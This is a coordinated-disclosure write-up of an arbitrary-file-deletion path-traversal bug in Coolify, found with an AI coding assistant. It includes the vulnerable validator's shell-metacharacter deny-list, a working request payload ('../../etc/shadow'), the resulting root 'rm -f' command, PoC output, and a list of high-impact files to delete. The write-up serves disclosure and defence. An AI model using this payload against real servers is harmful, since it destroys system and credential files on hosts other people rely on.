Deleting any file on a Coolify managed server with a single `..`

I. Introduction
Coolify is an open-source, self-hostable PaaS that lets you deploy apps, databases, and pre-baked services on your own servers — the "Vercel/Heroku/Netlify replacement, but you own the box" pitch. It runs as a Laravel/Livewire control plane that holds SSH keys to one or more "managed" servers and pushes deploys, container lifecycle calls, and proxy configuration to them over ssh + rm/docker/bash. The default install puts that control plane and the first managed server on the same host, as root.
It is one of the most popular self-hosted-PaaS projects on GitHub (coollabsio/coolify, ~57k stars), used as the deployment/orchestration layer of a large number of small teams and side projects, and increasingly of small SaaS shops who want a Heroku ergonomic without the bill. The blast radius of a Coolify control-plane bug is "every server that Coolify holds an SSH key to."
Vulnerable version: coollabsio/coolify <= 4.1.0 every release through v4.1.0 (the latest tag at the time the report was filed), including ghcr.io/coollabsio/coolify:latest (= v4.1.0).
Advisory: https://github.com/coollabsio/coolify/security/advisories/GHSA-grx5-36vg-ghvq
CVE: CVE-2026-53772 issued by GitHub after CVE-rules compliance review;
Merged fix (validator): fix(proxy): tighten config validation — commit 419593e7d4, PR coollabsio/coolify#10503, merged into next on 2026-06-02; shipped in release v4.1.2 on 2026-06-04.
II. Target selection
Coolify fit all three. ~57k stars, PHP/Laravel, the entire control plane (UI, queue, deploy logic) is in-tree, the install model is "Coolify SSHes into the managed servers as root," and the prior advisory, GHSA-q7rg-2j7p-83gp / CVE-2025-66212, was a critical (RCE) command-injection fix landed on 2026-01-03 against exactly one function: DynamicConfigurationNavbar::delete($fileName). The fix shape was "we added a validator and escapeshellarg() now it's safe." That phrasing on a rm -f shell call against a user-controlled path is the canonical incomplete-fix shape: shell-injection is gone, but path traversal lives in a different layer. That was the entire reason I picked the file.
III. Finding
I cloned coollabsio/coolify, pointed Claude Code (Opus 4.7) at the tree, and ran one prompt:
You are auditing the patched function from GHSA-q7rg-2j7p-83gp / CVE-2025-66212.
The original advisory was "Authenticated RCE via Command Injection in Dynamic
Proxy Configuration Filename." The fix in commit 0073d045fb added a validator
(validateShellSafePath) and wrapped the path in escapeshellarg() before
passing it to a shell `rm -f`.
Do NOT trust that "validated + escapeshellarg = safe." That is the
fix-author's premise, not a proof. For every patched sink reachable via the
delete()/create() flows of that advisory, list distinct ways an attacker can
still influence the post-shell resolution of the path the kernel actually
opens. Treat shell parsing and path resolution as two separate layers. For
each candidate, output:
## Candidate N
- Sink (file:line):
- What the validator does and does NOT reject:
- What escapeshellarg() does and does NOT prevent:
- Attacker-controlled bytes that survive both:
- Authorization required to reach the sink (read the policy class, do not
guess from the controller annotation):
- Concrete payload:
- What the kernel ends up touching:
Verify each candidate by reading the source, not by reasoning about it.
Claude came back with one high-confidence candidate after about a minute. The data flow is short:
POST /livewire/update
→ App\Livewire\Server\Proxy\DynamicConfigurationNavbar::delete($fileName)
\(this->authorize('update', \)this->server);
→ App\Policies\ServerPolicy::update() ──► return true; // (!)
\(file = str_replace('|', '.', \)fileName);
validateShellSafePath($file, 'proxy configuration filename'); // <- gap
\(fullPath = "{\)proxy_path}/dynamic/{\(file}"; // attacker controls \)file
\(escapedPath = escapeshellarg(\)fullPath); // does not strip ..
instant_remote_process(["rm -f {\(escapedPath}"], \)this->server);// SSH into managed host
The vulnerable function:
public function delete(string $fileName)
{
\(this->authorize('update', \)this->server);
\(proxy_path = \)this->server->proxyPath();
\(proxy_type = \)this->server->proxyType();
// Decode filename: pipes are used to encode dots for Livewire property binding
\(file = str_replace('|', '.', \)fileName);
// Validate filename to prevent command injection
validateShellSafePath($file, 'proxy configuration filename');
if (\(proxy_type === 'CADDY' && \)file === 'Caddyfile') {
$this->dispatch('error', 'Cannot delete Caddyfile.');
return;
}
\(fullPath = "{\)proxy_path}/dynamic/{$file}";
\(escapedPath = escapeshellarg(\)fullPath);
instant_remote_process(["rm -f {\(escapedPath}"], \)this->server);
...
}
The validator the CVE-2025-66212 fix introduced is in bootstrap/helpers/shared.php:130, and its deny-list is only shell metacharacters:
$dangerousChars = [
'`' => 'backtick (command substitution)',
'$(' => 'command substitution',
'${' => 'variable substitution with potential command injection',
'|' => 'pipe operator',
'&' => 'background/AND operator',
';' => 'command separator',
"\n" => 'newline (command separator)',
"\r" => 'carriage return',
"\t" => 'tab (token separator)',
'>' => 'output redirection',
'<' => 'input redirection',
];
/, \, .., ~, spaces, and quotes are **not** in the list. The same file already ships a stricter sibling, validateFilenameSafe() at line 174, which rejects directory separators, .., NUL bytes, and shell-expansion characters. validateFilenameSafe() is the helper the PostgreSQL init-script flow uses on its filename input. The proxy-delete flow uses the looser validateShellSafePath(), even though its value is the same conceptual shape (a single filename meant to live in a fixed directory).
The reasoning that needed to be stated out loud, because it is the entire bug:
validateShellSafePath()is a shell-injection guard. It prevents the resulting string from spawning new argv tokens or command substitutions.escapeshellarg()is a shell-quoting guard. It prevents the resulting string from being re-tokenised by the shell.Neither layer prevents the operating system from resolving
..while opening the path.rm -f '/data/coolify/proxy/dynamic/../VICTIM'quotes cleanly, parses as one argv, and the kernel walks the..segment before opening the file. The directory traversal happens in the open(2) path, after both validators have already happily passed the input through.
That made it a textbook validate-before-canonicalize bug, just at the shell + kernel boundary instead of the URI + filesystem boundary.
There was also an authorization gap I needed to follow up on before scoring the CVSS: the \(this->authorize('update', ...) at the top of delete() runs App\Policies\ServerPolicy::update(\)user, $server), and at the time of the report that policy method was:
public function update(User \(user, Server \)server): bool
{
// return \(user->isAdmin() && \)user->teams->contains('id', $server->team_id);
return true;
}
The intended role check was commented out — the same return true; stub was present for view, create, update, delete, manage, cleanup on ServerPolicy, and for ServicePolicy, ServiceApplicationPolicy, and EnvironmentPolicy. Every team member (the lowest team role) was therefore allowed to reach the sink, not just admins/owners. That lowered PR from H to L.
The vulnerable request
In the browser DevTools network tab, find the POST /livewire/update that the proxy "Delete" button emits, and change the fileName argument in calls[0].params:
"calls": [
{
"method": "delete",
"params": ["../../etc/shadow"]
}
]
Replay. The control plane runs:
rm -f '/data/coolify/proxy/dynamic/../../etc/shadow'
on the managed server, over SSH, as the Coolify SSH user typically root on a single-node install. /etc/shadow is gone.
PoC against ghcr.io/coollabsio/coolify:latest (= v4.1.0)
Two-line standalone reproduction. The first script stands up an unmodified Coolify in Docker on port 8000; the second script proves the validator gap and runs the exact shell command the sink emits, without going through the browser:
# 1) Stand up Coolify v4.1.0 in Docker
bash report/evidence/poc_setup.sh
# 2) Demonstrate the validator gap end-to-end
bash report/evidence/poc_validator_gap.sh
The second script does:
Plant
/data/coolify/proxy/VICTIM_FILE(outside thedynamic/subdirectory).Inside the Coolify container, run
php artisan tinkerto callvalidateShellSafePath('../VICTIM_FILE', 'proxy configuration filename')— which returns successfully, proving the validator does not block path traversal.Execute the exact shell command
DynamicConfigurationNavbar::delete()would emit:rm -f '/data/coolify/proxy/dynamic/../VICTIM_FILE'.List the proxy directory —
VICTIM_FILEis gone,legit.yaml(the only file the user should be able to touch) is intact.
Captured transcript on ghcr.io/coollabsio/coolify:latest (digest sha256:2aba30db…, = v4.1.0):
[+] validateShellSafePath('../VICTIM_FILE') => OK (does not block traversal)
[+] running: rm -f '/data/coolify/proxy/dynamic/../VICTIM_FILE'
[+] BEFORE: VICTIM_FILE legit.yaml
[+] AFTER : legit.yaml
==> RESULT: VULNERABLE — arbitrary file deletion confirmed on Coolify v4.1.0
The primitive is rm -f '<arbitrary path>' on the managed host. It does not directly read or write attacker-chosen content — but as soon as the SSH user is root (the default), rm -f against /var/run/docker.sock, /etc/cron.d/*, /data/coolify/source/.env, /data/coolify/ssh/keys/*, /var/lib/docker/volumes/*, or any TLS key material is sufficient for full service disruption, credential-rotation pressure, and pre-staging downgrade attacks. On a multi-server install, one team member can wipe files on every managed host the Coolify instance has SSH access to. CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. Write/RCE was tested and ruled out honestly — the primitive is rm, not tee.
I submitted the bug through GitHub's "Report a vulnerability" form on the Coolify advisory page the same day. The maintainer team accepted it; the advisory was created as GHSA-grx5-36vg-ghvq, and GitHub later assigned CVE-2026-53772 after CVE-rules compliance review (to be pushed to the CVE List and the GitHub Advisory Database when the GHSA is published).
IV. Fix
The report bundled both halves of the systemic problem with concrete suggestions: the validator swap (the primary CVE) and the ServerPolicy authorization stubs (the privilege gap that lets member reach the sink). The report's "Suggested fix" section was:
- validateShellSafePath($file, 'proxy configuration filename');
+ validateFilenameSafe($file, 'proxy configuration filename');
with the same change applied to NewDynamicConfiguration.php:47 for defence in depth, and a separate request to flip every return true; in ServerPolicy/ServicePolicy/EnvironmentPolicy/ServiceApplicationPolicy to the commented-out reference implementation \(user->isAdmin() && \)user->teams->contains('id', $server->team_id). There was also a "follow-up audit" list of every other caller of validateShellSafePath() whose value is conceptually a single filename or a path that must stay under a fixed directory — LocalFileVolume.php 90/144/176/200, Storage.php 153/197/198, and the API controllers under Applications/Services/Databases.
The maintainer, Andras Bacsai (@andrasbacsai, Coolify founder/lead), took it from there. He opened public PR coollabsio/coolify#10503 "Improve proxy configuration validation", which:
| Change | What it does |
|---|---|
DynamicConfigurationNavbar::delete() swap to validateFilenameSafe() |
Closes the primary CVE-2026-53772 sink |
NewDynamicConfiguration::save() swap to validateFilenameSafe() |
Defence in depth on the sibling create flow |
ServerPolicy extract canManageServer() helper and wire it through update, delete, manageProxy, manageSentinel, manageCaCertificate, viewSecurity; create switched to $user->isAdmin() |
Closes the privilege-escalation surface so the sink is admin-only |
tests/Unit/ProxyConfigurationSecurityTest.php 39 new assertions including ../ and absolute-path payloads |
Regression coverage for the path-traversal class |
tests/Unit/ServerPolicyAuthorizationTest.php new file, 66 lines |
Regression coverage for the authz half |
Same fix shape I'd recommended on both axes, with one cosmetic improvement: the canManageServer() helper that DRYs the six policy methods. Merged into the next branch on 2026-06-02 at commit 419593e7d4.
V. Timeline
2026-05-20: Picked Coolify as the next target on the basis that
GHSA-q7rg-2j7p-83gp(CVE-2025-66212) was a critical RCE inDynamicConfigurationNavbar::delete()whose fix landed on the "validator +escapeshellarg()= safe" premise. Audited the patched function with Claude Code (Opus 4.7), variant-hunt prompt.2026-05-20: Confirmed end-to-end on
ghcr.io/coollabsio/coolify:latest(= v4.1.0). Validator gap +rm -fagainst arbitrary path proved;member-role reachability viaServerPolicy::update() → trueproved.2026-05-21: Submitted the report via GitHub Security Advisories.
GHSA-grx5-36vg-ghvqcreated the same day at 13:24 UTC, credited to@StarPlatinu. Submission markedaccepted.2026-06-01 13:14 UTC: Maintainer Andras Bacsai (@andrasbacsai) committed
fix(proxy): tighten config validation(419593e7d4) on the fix branch — validator swap +ServerPolicycanManageServer()rewrite + new regression tests.2026-06-02 09:07 UTC: PR #10503 "Improve proxy configuration validation" merged into
next.2026-06-04 07:54 UTC: PR #10452 (
next → v4.x) merged. Released as v4.1.2. The validator fix shipped; theServerPolicyhardening did not make it onto the release branch.2026-06-10: GitHub issued CVE-2026-53772 for
GHSA-grx5-36vg-ghvqafter CVE-rules compliance review. The CVE record will be pushed to the CVE List and the global GitHub Advisory Database once the advisory is published.
The whole pipeline — picking the target on an incomplete-fix hypothesis, sink-first audit on a ~57k-star PHP/Laravel codebase, Docker PoC against the latest published image, advisory submission with both the validator fix and the authorization fix in the suggested-fix section, and tracking the maintainer's PR through next → v4.x to verify what actually shipped — ran inside Claude Code on Opus 4.7.



![[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fe7817cef-a8af-45ec-b931-4e08225edeb6.png&w=3840&q=75)
